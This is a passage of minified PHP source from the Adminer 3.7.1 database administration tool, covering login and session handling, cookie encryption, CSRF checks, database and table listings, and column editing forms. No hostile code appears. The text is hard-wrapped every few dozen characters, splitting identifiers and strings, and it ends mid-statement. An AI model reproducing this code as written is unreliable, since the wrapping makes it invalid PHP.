echo'<p><a href="'.h(ME)
.'create="'.bold($_GET["
create"]==="").">".'Crea
te new table'."</a>\n";$
S=table_status('',true);
if(!$S)echo"<p class='me
ssage'>".'No tables.'."\
n";else{$this->tablesPri
nt($S);$id=array();forea
ch($S as$Q=>$U)$id[]=pre
g_quote($Q,'/');echo"<sc
ript type='text/javascri
pt'>\n","var jushLinks =
 { $x: [ '".js_escape(ME
)."table=\$&', /\\b(".im
plode("|",$id).")\\b/g ]
 };\n";foreach(array("ba
c","bra","sqlite_quo","m
ssql_bra")as$X)echo"jush
Links.$X = jushLinks.$x;
\n";echo"</script>\n";}}
}}function databasesPrin
t($yd){global$g;$j=$this
->databases();echo'<form
 action=""> <p id="dbs">
 ';hidden_fields_get();$
lb=" onmousedown='dbMous
eDown(event, this);' onc
hange='dbChange(this);'"
;echo($j?"<select name='
db'$lb>".optionlist(arra
y(""=>"(".'database'.")"
)+$j,DB)."</select>":'<i
nput name="db" value="'.
h(DB).'" autocapitalize=
"off">'),"<input type='s
ubmit' value='".'Use'."'
".($j?" class='hidden'":
"").">\n";if($yd!="db"&&
DB!=""&&$g->select_db(DB
)){}echo(isset($_GET["sq
l"])?'<input type="hidde
n" name="sql" value="">'
:(isset($_GET["schema"])
?'<input type="hidden" n
ame="schema" value="">':
(isset($_GET["dump"])?'<
input type="hidden" name
="dump" value="">':"")))
,"</p></form>\n";}functi
on tablesPrint($S){echo"
<p id='tables' onmouseov
er='menuOver(this, event
);' onmouseout='menuOut(
this);'>\n";foreach($S a
s$Q=>$nf){echo'<a href="
'.h(ME).'select='.urlenc
ode($Q).'"'.bold($_GET["
select"]==$Q||$_GET["edi
t"]==$Q).">".'select'."<
/a> ",'<a href="'.h(ME).
'table='.urlencode($Q).'
"'.bold(in_array($Q,arra
y($_GET["table"],$_GET["
create"],$_GET["indexes"
],$_GET["foreign"],$_GET
["trigger"])))." title='
".'Show structure'."'>".
$this->tableName($nf)."<
/a><br>\n";}}}$b=(functi
on_exists('adminer_objec
t')?adminer_object():new
 Adminer);if($b->operato
rs===null)$b->operators=
$Sd;function page_header
($Mf,$l="",$Ea=array(),$
Nf=""){global$ca,$b,$g,$
zb;header("Content-Type:
 text/html; charset=utf-
8");if($b->headers()){he
ader("X-Frame-Options: d
eny");header("X-XSS-Prot
ection: 0");}$Of=$Mf.($N
f!=""?": ".h($Nf):"");$P
f=strip_tags($Of.(SERVER
!=""&&SERVER!="localhost
"?h(" - ".SERVER):"")." 
- ".$b->name());echo'<!D
OCTYPE html> <html lang=
"en" dir="ltr"> <meta ht
tp-equiv="Content-Type" 
content="text/html; char
set=utf-8"> <meta http-e
quiv="Content-Script-Typ
e" content="text/javascr
ipt"> <meta name="robots
" content="noindex"> <ti
tle>',$Pf,'</title> <lin
k rel="stylesheet" type=
"text/css" href="',h(pre
g_replace("~\\?.*~","",M
E))."?file=default.css&a
mp;version=3.7.1",'"> <s
cript type="text/javascr
ipt" src="',h(preg_repla
ce("~\\?.*~","",ME))."?f
ile=functions.js&amp;ver
sion=3.7.1",'"></script>
 ';if($b->head()){echo'<
link rel="shortcut icon"
 type="image/x-icon" hre
f="',h(preg_replace("~\\
?.*~","",ME))."?file=fav
icon.ico&amp;version=3.7
.1",'"> <link rel="apple
-touch-icon" href="',h(p
reg_replace("~\\?.*~",""
,ME))."?file=favicon.ico
&amp;version=3.7.1",'"> 
';if(file_exists("admine
r.css")){echo'<link rel=
"stylesheet" type="text/
css" href="adminer.css">
 ';}}echo' <body class="
ltr nojs" onkeydown="bod
yKeydown(event);" onclic
k="bodyClick(event);" on
load="bodyLoad(\'',(is_o
bject($g)?substr($g->ser
ver_info,0,3):""),'\');'
,(isset($_COOKIE["admine
r_version"])?"":" verify
Version();"),'"> <script
 type="text/javascript">
 document.body.className
 = document.body.classNa
me.replace(/ nojs/, \' j
s\'); </script>  <div id
="content"> ';if($Ea!==n
ull){$_=substr(preg_repl
ace('~(username|db|ns)=[
^&]*&~','',ME),0,-1);ech
o'<p id="breadcrumb"><a 
href="'.h($_?$_:".").'">
'.$zb[DRIVER].'</a> &raq
uo; ';$_=substr(preg_rep
lace('~(db|ns)=[^&]*&~',
'',ME),0,-1);$O=(SERVER!
=""?h(SERVER):'Server');
if($Ea===false)echo"$O\n
";else{echo"<a href='".(
$_?h($_):".")."' accessk
ey='1' title='Alt+Shift+
1'>$O</a> &raquo; ";if($
_GET["ns"]!=""||(DB!=""&
&is_array($Ea)))echo'<a 
href="'.h($_."&db=".urle
ncode(DB).(support("sche
me")?"&ns=":"")).'">'.h(
DB).'</a> &raquo; ';if(i
s_array($Ea)){if($_GET["
ns"]!="")echo'<a href="'
.h(substr(ME,0,-1)).'">'
.h($_GET["ns"]).'</a> &r
aquo; ';foreach($Ea as$y
=>$X){$rb=(is_array($X)?
$X[1]:$X);if($rb!="")ech
o'<a href="'.h(ME."$y=")
.urlencode(is_array($X)?
$X[0]:$X).'">'.h($rb).'<
/a> &raquo; ';}}echo"$Mf
\n";}}echo"<h2>$Of</h2>\
n";restart_session();$lg
=preg_replace('~^[^?]*~'
,'',$_SERVER["REQUEST_UR
I"]);$wd=$_SESSION["mess
ages"][$lg];if($wd){echo
"<div class='message'>".
implode("</div>\n<div cl
ass='message'>",$wd)."</
div>\n";unset($_SESSION[
"messages"][$lg]);}$j=&g
et_session("dbs");if(DB!
=""&&$j&&!in_array(DB,$j
,true))$j=null;stop_sess
ion();if($l)echo"<div cl
ass='error'>$l</div>\n";
define("PAGE_HEADER",1);
}function page_footer($y
d=""){global$b;echo'</di
v>  <div id="menu"> ';$b
->navigation($yd);echo'<
/div> <script type="text
/javascript">setupSubmit
Highlight(document);</sc
ript> ';}function int32(
$D){while($D>=2147483648
)$D-=4294967296;while($D
<=-2147483649)$D+=429496
7296;return(int)$D;}func
tion long2str($W,$ug){$Y
e='';foreach($W as$X)$Ye
.=pack('V',$X);if($ug)re
turn substr($Ye,0,end($W
));return$Ye;}function s
tr2long($Ye,$ug){$W=arra
y_values(unpack('V*',str
_pad($Ye,4*ceil(strlen($
Ye)/4),"\0")));if($ug)$W
[]=strlen($Ye);return$W;
}function xxtea_mx($zg,$
yg,$vf,$Tc){return int32
((($zg>>5&0x7FFFFFF)^$yg
<<2)+(($yg>>3&0x1FFFFFFF
)^$zg<<4))^int32(($vf^$y
g)+($Tc^$zg));}function 
encrypt_string($pf,$y){i
f($pf=="")return"";$y=ar
ray_values(unpack("V*",p
ack("H*",md5($y))));$W=s
tr2long($pf,true);$D=cou
nt($W)-1;$zg=$W[$D];$yg=
$W[0];$H=floor(6+52/($D+
1));$vf=0;while($H-->0){
$vf=int32($vf+0x9E3779B9
);$Eb=$vf>>2&3;for($ee=0
;$ee<$D;$ee++){$yg=$W[$e
e+1];$_d=xxtea_mx($zg,$y
g,$vf,$y[$ee&3^$Eb]);$zg
=int32($W[$ee]+$_d);$W[$
ee]=$zg;}$yg=$W[0];$_d=x
xtea_mx($zg,$yg,$vf,$y[$
ee&3^$Eb]);$zg=int32($W[
$D]+$_d);$W[$D]=$zg;}ret
urn long2str($W,false);}
function decrypt_string(
$pf,$y){if($pf=="")retur
n"";if(!$y)return false;
$y=array_values(unpack("
V*",pack("H*",md5($y))))
;$W=str2long($pf,false);
$D=count($W)-1;$zg=$W[$D
];$yg=$W[0];$H=floor(6+5
2/($D+1));$vf=int32($H*0
x9E3779B9);while($vf){$E
b=$vf>>2&3;for($ee=$D;$e
e>0;$ee--){$zg=$W[$ee-1]
;$_d=xxtea_mx($zg,$yg,$v
f,$y[$ee&3^$Eb]);$yg=int
32($W[$ee]-$_d);$W[$ee]=
$yg;}$zg=$W[$D];$_d=xxte
a_mx($zg,$yg,$vf,$y[$ee&
3^$Eb]);$yg=int32($W[0]-
$_d);$W[0]=$yg;$vf=int32
($vf-0x9E3779B9);}return
 long2str($W,true);}$g='
';$T=$_SESSION["token"];
if(!$_SESSION["token"])$
_SESSION["token"]=rand(1
,1e6);$oe=array();if($_C
OOKIE["adminer_permanent
"]){foreach(explode(" ",
$_COOKIE["adminer_perman
ent"])as$X){list($y)=exp
lode(":",$X);$oe[$y]=$X;
}}$c=$_POST["auth"];if($
c){session_regenerate_id
();$_SESSION["pwds"][$c[
"driver"]][$c["server"]]
[$c["username"]]=$c["pas
sword"];$_SESSION["db"][
$c["driver"]][$c["server
"]][$c["username"]][$c["
db"]]=true;if($c["perman
ent"]){$y=base64_encode(
$c["driver"])."-".base64
_encode($c["server"])."-
".base64_encode($c["user
name"])."-".base64_encod
e($c["db"]);$ye=$b->perm
anentLogin(true);$oe[$y]
="$y:".base64_encode($ye
?encrypt_string($c["pass
word"],$ye):"");cookie("
adminer_permanent",implo
de(" ",$oe));}if(count($
_POST)==1||DRIVER!=$c["d
river"]||SERVER!=$c["ser
ver"]||$_GET["username"]
!==$c["username"]||DB!=$
c["db"])redirect(auth_ur
l($c["driver"],$c["serve
r"],$c["username"],$c["d
b"]));}elseif($_POST["lo
gout"]){if($T&&$_POST["t
oken"]!=$T){page_header(
'Logout','Invalid CSRF t
oken. Send the form agai
n.');page_footer("db");e
xit;}else{foreach(array(
"pwds","db","dbs","queri
es")as$y)set_session($y,
null);unset_permanent();
redirect(substr(preg_rep
lace('~(username|db|ns)=
[^&]*&~','',ME),0,-1),'L
ogout successful.');}}el
seif($oe&&!$_SESSION["pw
ds"]){session_regenerate
_id();$ye=$b->permanentL
ogin();foreach($oe as$y=
>$X){list(,$La)=explode(
":",$X);list($yb,$O,$V,$
k)=array_map('base64_dec
ode',explode("-",$y));$_
SESSION["pwds"][$yb][$O]
[$V]=decrypt_string(base
64_decode($La),$ye);$_SE
SSION["db"][$yb][$O][$V]
[$k]=true;}}function uns
et_permanent(){global$oe
;foreach($oe as$y=>$X){l
ist($yb,$O,$V,$k)=array_
map('base64_decode',expl
ode("-",$y));if($yb==DRI
VER&&$O==SERVER&&$V==$_G
ET["username"]&&$k==DB)u
nset($oe[$y]);}cookie("a
dminer_permanent",implod
e(" ",$oe));}function au
th_error($Vb=null){globa
l$g,$b,$T;$hf=session_na
me();$l="";if(!$_COOKIE[
$hf]&&$_GET[$hf]&&ini_bo
ol("session.use_only_coo
kies"))$l='Session suppo
rt must be enabled.';els
eif(isset($_GET["usernam
e"])){if(($_COOKIE[$hf]|
|$_GET[$hf])&&!$T)$l='Se
ssion expired, please lo
gin again.';else{$ne=&ge
t_session("pwds");if($ne
!==null){$l=h($Vb?$Vb->g
etMessage():(is_string($
g)?$g:'Invalid credentia
ls.'));if($ne===false)$l
.='<br>'.sprintf('Master
 password expired. <a hr
ef="http://www.adminer.o
rg/en/extension/" target
="_blank">Implement</a> 
%s method to make it per
manent.','<code>permanen
tLogin()</code>');$ne=nu
ll;}unset_permanent();}}
page_header('Login',$l,n
ull);echo"<form action='
' method='post'>\n";$b->
loginForm();echo"<div>";
hidden_fields($_POST,arr
ay("auth"));echo"</div>\
n","</form>\n";page_foot
er("auth");}if(isset($_G
ET["username"])){if(!cla
ss_exists("Min_DB")){uns
et($_SESSION["pwds"][DRI
VER]);unset_permanent();
page_header('No extensio
n',sprintf('None of the 
supported PHP extensions
 (%s) are available.',im
plode(", ",$te)),false);
page_footer("auth");exit
;}$g=connect();}if(is_st
ring($g)||!$b->login($_G
ET["username"],get_sessi
on("pwds"))){auth_error(
);exit;}$T=$_SESSION["to
ken"];if($c&&$_POST["tok
en"])$_POST["token"]=$T;
$l='';if($_POST){if($_PO
ST["token"]!=$T){$Kc="ma
x_input_vars";$rd=ini_ge
t($Kc);if(extension_load
ed("suhosin")){foreach(a
rray("suhosin.request.ma
x_vars","suhosin.post.ma
x_vars")as$y){$X=ini_get
($y);if($X&&(!$rd||$X<$r
d)){$Kc=$y;$rd=$X;}}}$l=
(!$_POST["token"]&&$rd?s
printf('Maximum number o
f allowed fields exceede
d. Please increase %s.',
"'$Kc'"):'Invalid CSRF t
oken. Send the form agai
n.');}}elseif($_SERVER["
REQUEST_METHOD"]=="POST"
){$l=sprintf('Too big PO
ST data. Reduce the data
 or increase the %s conf
iguration directive.',"'
post_max_size'");if(isse
t($_GET["sql"]))$l.=' '.
'You can upload a big SQ
L file via FTP and impor
t it from server.';}if(!
ini_bool("session.use_co
okies")||@ini_set("sessi
on.use_cookies",false)!=
=false){session_cache_li
miter("");session_write_
close();}function connec
t_error(){global$b,$g,$T
,$l,$zb;$j=array();if(DB
!=""){header("HTTP/1.1 4
04 Not Found");page_head
er('Database'.": ".h(DB)
,'Invalid database.',tru
e);}else{if($_POST["db"]
&&!$l)queries_redirect(s
ubstr(ME,0,-1),'Database
s have been dropped.',dr
op_databases($_POST["db"
]));page_header('Select 
database',$l,false);echo
"<p><a href='".h(ME)."da
tabase='>".'Create new d
atabase'."</a>\n";foreac
h(array('privileges'=>'P
rivileges','processlist'
=>'Process list','variab
les'=>'Variables','statu
s'=>'Status',)as$y=>$X){
if(support($y))echo"<a h
ref='".h(ME)."$y='>$X</a
>\n";}echo"<p>".sprintf(
'%s version: %s through 
PHP extension %s',$zb[DR
IVER],"<b>$g->server_inf
o</b>","<b>$g->extension
</b>")."\n","<p>".sprint
f('Logged as: %s',"<b>".
h(logged_user())."</b>")
."\n";$Le="<a href='".h(
ME)."refresh=1'>".'Refre
sh'."</a>\n";$j=$b->data
bases();if($j){$bf=suppo
rt("scheme");$d=collatio
ns();echo"<form action='
' method='post'>\n","<ta
ble cellspacing='0' clas
s='checkable' onclick='t
ableClick(event);' ondbl
click='tableClick(event,
 true);'>\n","<thead><tr
><td>&nbsp;<th>".'Databa
se'."<td>".'Collation'."
<td>".'Tables'."</thead>
\n";foreach($j as$k){$Ue
=h(ME)."db=".urlencode($
k);echo"<tr".odd()."><td
>".checkbox("db[]",$k,in
_array($k,(array)$_POST[
"db"])),"<th><a href='$U
e'>".h($k)."</a>","<td><
a href='$Ue".($bf?"&amp;
ns=":"")."&amp;database=
' title='".'Alter databa
se'."'>".nbsp(db_collati
on($k,$d))."</a>","<td a
lign='right'><a href='$U
e&amp;schema=' id='table
s-".h($k)."' title='".'D
atabase schema'."'>?</a>
","\n";}echo"</table>\n"
,"<script type='text/jav
ascript'>tableCheck();</
script>\n","<p><input ty
pe='submit' name='drop' 
value='".'Drop'."'".conf
irm("formChecked(this, /
db/)").">\n","<input typ
e='hidden' name='token' 
value='$T'>\n",$Le,"</fo
rm>\n";}else echo"<p>$Le
";}page_footer("db");if(
$j)echo"<script type='te
xt/javascript'>ajaxSetHt
ml('".js_escape(ME)."scr
ipt=connect');</script>\
n";}if(isset($_GET["stat
us"]))$_GET["variables"]
=$_GET["status"];if(!(DB
!=""?$g->select_db(DB):i
sset($_GET["sql"])||isse
t($_GET["dump"])||isset(
$_GET["database"])||isse
t($_GET["processlist"])|
|isset($_GET["privileges
"])||isset($_GET["user"]
)||isset($_GET["variable
s"])||$_GET["script"]=="
connect"||$_GET["script"
]=="kill")){if(DB!=""||$
_GET["refresh"]){restart
_session();set_session("
dbs",null);}connect_erro
r();exit;}function selec
t($J,$h=null,$Ec="",$Yd=
array()){$id=array();$v=
array();$f=array();$Ca=a
rray();$cg=array();$K=ar
ray();odd('');for($s=0;$
L=$J->fetch_row();$s++){
if(!$s){echo"<table cell
spacing='0' class='nowra
p'>\n","<thead><tr>";for
($w=0;$w<count($L);$w++)
{$m=$J->fetch_field();$E
=$m->name;$Xd=$m->orgtab
le;$Wd=$m->orgname;$K[$m
->table]=$Xd;if($Ec)$id[
$w]=($E=="table"?"table=
":($E=="possible_keys"?"
indexes=":null));elseif(
$Xd!=""){if(!isset($v[$X
d])){$v[$Xd]=array();for
each(indexes($Xd,$h)as$u
){if($u["type"]=="PRIMAR
Y"){$v[$Xd]=array_flip($
u["columns"]);break;}}$f
[$Xd]=$v[$Xd];}if(isset(
$f[$Xd][$Wd])){unset($f[
$Xd][$Wd]);$v[$Xd][$Wd]=
$w;$id[$w]=$Xd;}}if($m->
charsetnr==63)$Ca[$w]=tr
ue;$cg[$w]=$m->type;$E=h
($E);echo"<th".($Xd!=""|
|$m->name!=$Wd?" title='
".h(($Xd!=""?"$Xd.":"").
$Wd)."'":"").">".($Ec?"<
a href='$Ec".strtolower(
$E)."' target='_blank' r
el='noreferrer' class='h
elp'>$E</a>":$E);}echo"<
/thead>\n";}echo"<tr".od
d().">";foreach($L as$y=
>$X){if($X===null)$X="<i
>NULL</i>";elseif($Ca[$y
]&&!is_utf8($X))$X="<i>"
.lang(array('%d byte','%
d bytes'),strlen($X))."<
/i>";elseif(!strlen($X))
$X="&nbsp;";else{$X=h($X
);if($cg[$y]==254)$X="<c
ode>$X</code>";}if(isset
($id[$y])&&!$f[$id[$y]])
{if($Ec){$Q=$L[array_sea
rch("table=",$id)];$_=$i
d[$y].urlencode($Yd[$Q]!
=""?$Yd[$Q]:$Q);}else{$_
="edit=".urlencode($id[$
y]);foreach($v[$id[$y]]a
s$Pa=>$w)$_.="&where".ur
lencode("[".bracket_esca
pe($Pa)."]")."=".urlenco
de($L[$w]);}$X="<a href=
'".h(ME.$_)."'>$X</a>";}
echo"<td>$X";}}echo($s?"
</table>":"<p class='mes
sage'>".'No rows.')."\n"
;return$K;}function refe
rencable_primary($df){$K
=array();foreach(table_s
tatus('',true)as$zf=>$Q)
{if($zf!=$df&&fk_support
($Q)){foreach(fields($zf
)as$m){if($m["primary"])
{if($K[$zf]){unset($K[$z
f]);break;}$K[$zf]=$m;}}
}}return$K;}function tex
tarea($E,$Y,$M=10,$Sa=80
){echo"<textarea name='$
E' rows='$M' cols='$Sa' 
class='sqlarea' spellche
ck='false' wrap='off' on
keydown='return textarea
Keydown(this, event);'>"
;if(is_array($Y)){foreac
h($Y as$X)echo h($X[0]).
"\n\n\n";}else echo h($Y
);echo"</textarea>";}fun
ction edit_type($y,$m,$d
,$p=array()){global$rf,$
cg,$jg,$Od;echo'<td><sel
ect name="',$y,'[type]" 
class="type" onfocus="la
stType = selectValue(thi
s);" onchange="editingTy
peChange(this);">',optio
nlist((!$m["type"]||isse
t($cg[$m["type"]])?array
():array($m["type"]))+$r
f+($p?array('Foreign key
s'=>$p):array()),$m["typ
e"]),'</select> <td><inp
ut name="',$y,'[length]"
 value="',h($m["length"]
),'" size="3" onfocus="e
ditingLengthFocus(this);
"><td class="options">';
echo"<select name='$y"."
[collation]'".(ereg('(ch
ar|text|enum|set)$',$m["
type"])?"":" class='hidd
en'").'><option value=""
>('.'collation'.')'.opti
onlist($d,$m["collation"
]).'</select>',($jg?"<se
lect name='$y"."[unsigne
d]'".(!$m["type"]||ereg(
'((^|[^o])int|float|doub
le|decimal)$',$m["type"]
)?"":" class='hidden'").
'><option>'.optionlist($
jg,$m["unsigned"]).'</se
lect>':''),(isset($m['on
_update'])?"<select name
='$y"."[on_update]'".($m
["type"]=="timestamp"?""
:" class='hidden'").'>'.
optionlist(array(""=>"("
.'ON UPDATE'.")","CURREN
T_TIMESTAMP"),$m["on_upd
ate"]).'</select>':''),(
$p?"<select name='$y"."[
on_delete]'".(ereg("`",$
m["type"])?"":" class='h
idden'")."><option value
=''>(".'ON DELETE'.")".o
ptionlist(explode("|",$O
d),$m["on_delete"])."</s
elect> ":" ");}function 
process_length($fd){glob
al$Pb;return(preg_match(
"~^\\s*(?:$Pb)(?:\\s*,\\
s*(?:$Pb))*\\s*\$~",$fd)
&&preg_match_all("~$Pb~"
,$fd,$ld)?implode(",",$l
d[0]):preg_replace('~[^0
-9,+-]~','',$fd));}funct
ion process_type($m,$Qa=
"COLLATE"){global$jg;ret
urn" $m[type]".($m["leng
th"]!=""?"(".process_len
gth($m["length"]).")":""
).(ereg('(^|[^o])int|flo
at|double|decimal',$m["t
ype"])&&in_array($m["uns
igned"],$jg)?" $m[unsign
ed]":"").(ereg('char|tex
t|enum|set',$m["type"])&
&$m["collation"]?" $Qa "
.q($m["collation"]):"");
}function process_field(
$m,$ag){return array(idf
_escape(trim($m["field"]
)),process_type($ag),($m
["null"]?" NULL":" NOT N
ULL"),(isset($m["default
"])?" DEFAULT ".((ereg("
time",$m["type"])&&eregi
('^CURRENT_TIMESTAMP$',$
m["default"]))||($m["typ
e"]=="bit"&&ereg("^([0-9
]+|b'[0-1]+')\$",$m["def
ault"]))?$m["default"]:q
($m["default"])):""),($m
["type"]=="timestamp"&&$
m["on_update"]?" ON UPDA
TE $m[on_update]":""),(s
upport("comment")&&$m["c
omment"]!=""?" COMMENT "
.q($m["comment"]):""),($
m["auto_increment"]?auto
_increment():null),);}fu
nction type_class($U){fo
reach(array('char'=>'tex
t','date'=>'time|year','
binary'=>'blob','enum'=>
'set',)as$y=>$X){if(ereg
("$y|$X",$U))return" cla
ss='$y'";}}function edit
_fields($n,$d,$U="TABLE"
,$p=array(),$Wa=false){g
lobal$g,$Lc;echo'<thead>
<tr class="wrap"> ';if($
U=="PROCEDURE"){echo'<td
>&nbsp;';}echo'<th>',($U
=="TABLE"?'Column name':
'Parameter name'),'<td>T
ype<textarea id="enum-ed
it" rows="4" cols="12" w
rap="off" style="display
: none;" onblur="editing
LengthBlur(this);"></tex
tarea> <td>Length <td>Op
tions ';if($U=="TABLE"){
echo'<td>NULL <td><input
 type="radio" name="auto
_increment_col" value=""
><acronym title="Auto In
crement">AI</acronym> <t
d>Default values ',(supp
ort("comment")?"<td".($W
a?"":" class='hidden'").
">".'Comment':"");}echo'
<td>',"<input type='imag
e' class='icon' name='ad
d[".(support("move_col")
?0:count($n))."]' src='"
.h(preg_replace("~\\?.*~
","",ME))."?file=plus.gi
f&amp;version=3.7.1' alt
='+' title='".'Add next'
."'>",'<script type="tex
t/javascript">row_count 
= ',count($n),';</script
> </thead> <tbody onkeyd
own="return editingKeydo
wn(event);"> ';foreach($
n as$s=>$m){$s++;$Zd=$m[
($_POST?"orig":"field")]
;$wb=(isset($_POST["add"
][$s-1])||(isset($m["fie
ld"])&&!$_POST["drop_col
"][$s]))&&(support("drop
_col")||$Zd=="");echo'<t
r',($wb?"":" style='disp
lay: none;'"),'> ',($U==
"PROCEDURE"?"<td>".html_
select("fields[$s][inout
]",explode("|",$Lc),$m["
inout"]):""),'<th>';if($
wb){echo'<input name="fi
elds[',$s,'][field]" val
ue="',h($m["field"]),'" 
onchange="',($m["field"]
!=""||count($n)>1?"":"ed
itingAddRow(this); "),'e
ditingNameChange(this);"
 maxlength="64" autocapi
talize="off">';}echo'<in
put type="hidden" name="
fields[',$s,'][orig]" va
lue="',h($Zd),'"> ';edit
_type("fields[$s]",$m,$d
,$p);if($U=="TABLE"){ech
o'<td>',checkbox("fields
[$s][null]",1,$m["null"]
,"","","block"),'<td><la
bel class="block"><input
 type="radio" name="auto
_increment_col" value="'
,$s,'"';if($m["auto_incr
ement"]){echo' checked';
}?> onclick="var field =
 this.form['fields[' + t
his.value + '][field]'];
 if (!field.value) { fie
ld.value = 'id'; field.o
nchange(); }"></label><t
d><?php echo checkbox("f
ields[$s][has_default]",
1,$m["has_default"]),'<i
nput name="fields[',$s,'
][default]" value="',h($
m["default"]),'" onchang
e="this.previousSibling.
checked = true;"> ',(sup
port("comment")?"<td".($
Wa?"":" class='hidden'")
."><input name='fields[$
s][comment]' value='".h(
$m["comment"])."' maxlen
gth='".($g->server_info>
=5.5?1024:255)."'>":"");
}echo"<td>",(support("mo
ve_col")?"<input type='i
mage' class='icon' name=
'add[$s]' src='".h(preg_
replace("~\\?.*~","",ME)
)."?file=plus.gif&amp;ve
rsion=3.7.1' alt='+' tit
le='".'Add next'."' oncl
ick='return !editingAddR
ow(this, 1);'>&nbsp;"."<
input type='image' class
='icon' name='up[$s]' sr
c='".h(preg_replace("~\\
?.*~","",ME))."?file=up.
gif&amp;version=3.7.1' a
lt='^' title='".'Move up
'."'>&nbsp;"."<input typ
e='image' class='icon' n
ame='down[$s]' src='".h(
preg_replace("~\\?.*~","
",ME))."?file=down.gif&a
mp;version=3.7.1' alt='v
' title='".'Move down'."
'>&nbsp;":""),($Zd==""||
support("drop_col")?"<in
put type='image' class='
icon' name='drop_col[$s]
' src='".h(preg_replace(
"~\\?.*~","",ME))."?file
=cross.gif&amp;version=3
.7.1' alt='x' title='".'
Remove'."' onclick='retu
rn !editingRemoveRow(thi
s);'>":""),"\n";}}functi
on process_fields(&$n){k
sort($n);$Hd=0;if($_POST
["up"]){$Zc=0;foreach($n
 as$y=>$m){if(key($_POST
["up"])==$y){unset($n[$y
]);array_splice($n,$Zc,0
,array($m));break;}if(is
set($m["field"]))$Zc=$Hd
;$Hd++;}}elseif($_POST["
down"]){$pc=false;foreac
h($n as$y=>$m){if(isset(
$m["field"])&&$pc){unset
($n[key($_POST["down"])]
);array_splice($n,$Hd,0,
array($pc));break;}if(ke
y($_POST["down"])==$y)$p
c=$m;$Hd++;}}elseif($_PO
ST["add"]){$n=array_valu
es($n);array_splice($n,k
ey($_POST["add"]),0,arra
y(array()));}elseif(!$_P
OST["drop_col"])return f
alse;return true;}functi
on normalize_enum($B){re
turn"'".str_replace("'",
"''",addcslashes(stripcs
lashes(str_replace($B[0]
[0].$B[0][0],$B[0][0],su
bstr($B[0],1,-1))),'\\')
)."'";}function grant($r
,$_e,$f,$Nd){if(!$_e)ret
urn true;if($_e==array("
ALL PRIVILEGES","GRANT O
PTION"))return($r=="GRAN
T"?queries("$r ALL PRIVI
LEGES$Nd WITH GRANT OPTI
ON"):queries("$r ALL PRI
VILEGES$Nd")&&queries("$
r GRANT OPTION$Nd"));ret
urn queries("$r ".preg_r
eplace('~(GRANT OPTION)\
\([^)]*\\)~','\\1',implo
de("$f, ",$_e).$f).$Nd);
}function drop_create($_
b,$i,$Ab,$Hf,$Bb,$A,$vd,
$td,$ud,$Kd,$Cd){if($_PO
ST["drop"])query_redirec
t($_b,$A,$vd);elseif($Kd
=="")query_redirect($i,$
A,$ud);elseif($Kd!=$Cd){
$fb=queries($i);queries_
redirect($A,$td,$fb&&que
ries($_b));if($fb)querie
s($Ab);}else queries_red
irect($A,$td,queries($Hf
)&&queries($Bb)&&queries
($_b)&&queries($i));}fun
ction create_trigger($Nd
,$L){global$x;$Lf=" $L[T
iming] $L[Event]";return
"CREATE TRIGGER ".idf_es
cape($L["Trigger"]).($x=
="mssql"?$Nd.$Lf:$Lf.$Nd
).rtrim(" $L[Type]\n$L[S
tatement]",";").";";}fun
ction create_routine($Ve
,$L){global$Lc;$P=array(
);$n=(array)$L["fields"]
;ksort($n);foreach($n as
$m){if($m["field"]!="")$
P[]=(ereg("^($Lc)\$",$m[
"inout"])?"$m[inout] ":"
").idf_escape($m["field"
]).process_type($m,"CHAR
ACTER SET");}return"CREA
TE $Ve ".idf_escape(trim
($L["name"]))." (".implo
de(", ",$P).")".(isset($
_GET["function"])?" RETU
RNS".process_type($L["re
turns"],"CHARACTER SET")
:"").($L["language"]?" L
ANGUAGE $L[language]":""
).rtrim("\n$L[definition
]",";").";";}function re
move_definer($I){return 
preg_replace('~^([A-Z =]
+) DEFINER=`'.preg_repla
ce('~@(.*)~','`@`(%|\\1)
',logged_user()).'`~','\
\1',$I);}function tar_fi
le($ic,$Qf){$K=pack("a10
0a8a8a8a12a12",$ic,644,0
,0,decoct($Qf->size),dec
oct(time()));$Ka=8*32;fo
r($s=0;$s<strlen($K);$s+
+)$Ka+=ord($K[$s]);$K.=s
printf("%06o",$Ka)."\0 "
;echo$K,str_repeat("\0",
512-strlen($K));$Qf->sen
d();echo str_repeat("\0"
,511-($Qf->size+511)%512
);}function ini_bytes($K
c){$X=ini_get($Kc);switc
h(strtolower(substr($X,-
1))){case'g':$X*=1024;ca
se'm':$X*=1024;case'k':$
X*=1024;}return$X;}$Od="
RESTRICT|NO ACTION|CASCA
DE|SET NULL|SET DEFAULT"
;class TmpFile{var$handl
er;var$size;function Tmp
File(){$this->handler=tm
pfile();}function write(
$ab){$this->size+=strlen
($ab);fwrite($this->hand
ler,$ab);}function send(
){fseek($this->handler,0
);fpassthru($this->handl
er);fclose($this->handle
r);}}$Pb="'(?:''|[^'\\\\
]|\\\\.)*+'";$Lc="IN|OUT
|INOUT";if(isset($_GET["
select"])&&($_POST["edit
"]||$_POST["clone"])&&!$
_POST["save"])$_GET["edi
t"]=$_GET["select"];if(i
sset($_GET["callf"]))$_G
ET["call"]=$_GET["callf"
];if(isset($_GET["functi
on"]))$_GET["procedure"]
=$_GET["function"];if(is
set($_GET["download"])){
$a=$_GET["download"];$n=
fields($a);header("Conte
nt-Type: application/oct
et-stream");header("Cont
ent-Disposition: attachm
ent; filename=".friendly
_url("$a-".implode("_",$
_GET["where"])).".".frie
ndly_url($_GET["field"])
);echo$g->result("SELECT
".limit(idf_escape($_GET
["field"])." FROM ".tabl
e($a)," WHERE ".where($_
GET,$n),1));exit;}elseif
(isset($_GET["table"])){
$a=$_GET["table"];$n=fie
lds($a);if(!$n)$l=error(
);$R=table_status1($a,tr
ue);page_header(($n&&is_
view($R)?'View':'Table')
.": ".h($a),$l);$b->sele
ctLinks($R);$Va=$R["Comm
ent"];if($Va!="")echo"<p
>".'Comment'.": ".h($Va)
."\n";if($n){echo"<table
 cellspacing='0'>\n","<t
head><tr><th>".'Column'.
"<td>".'Type'.(support("
comment")?"<td>".'Commen
t':"")."</thead>\n";fore
ach($n as$m){echo"<tr".o
dd()."><th>".h($m["field
"]),"<td title='".h($m["
collation"])."'>".h($m["
full_type"]).($m["null"]
?" <i>NULL</i>":"").($m[
"auto_increment"]?" <i>"
.'Auto Increment'."</i>"
:""),(isset($m["default"
])?" [<b>".h($m["default
"])."</b>]":""),(support
("comment")?"<td>".nbsp(
$m["comment"]):""),"\n";
}echo"</table>\n";if(!is
_view($R)){echo"<h3 id='
indexes'>".'Indexes'."</
h3>\n";$v=indexes($a);if
($v){echo"<table cellspa
cing='0'>\n";foreach($v 
as$E=>$u){ksort($u["colu
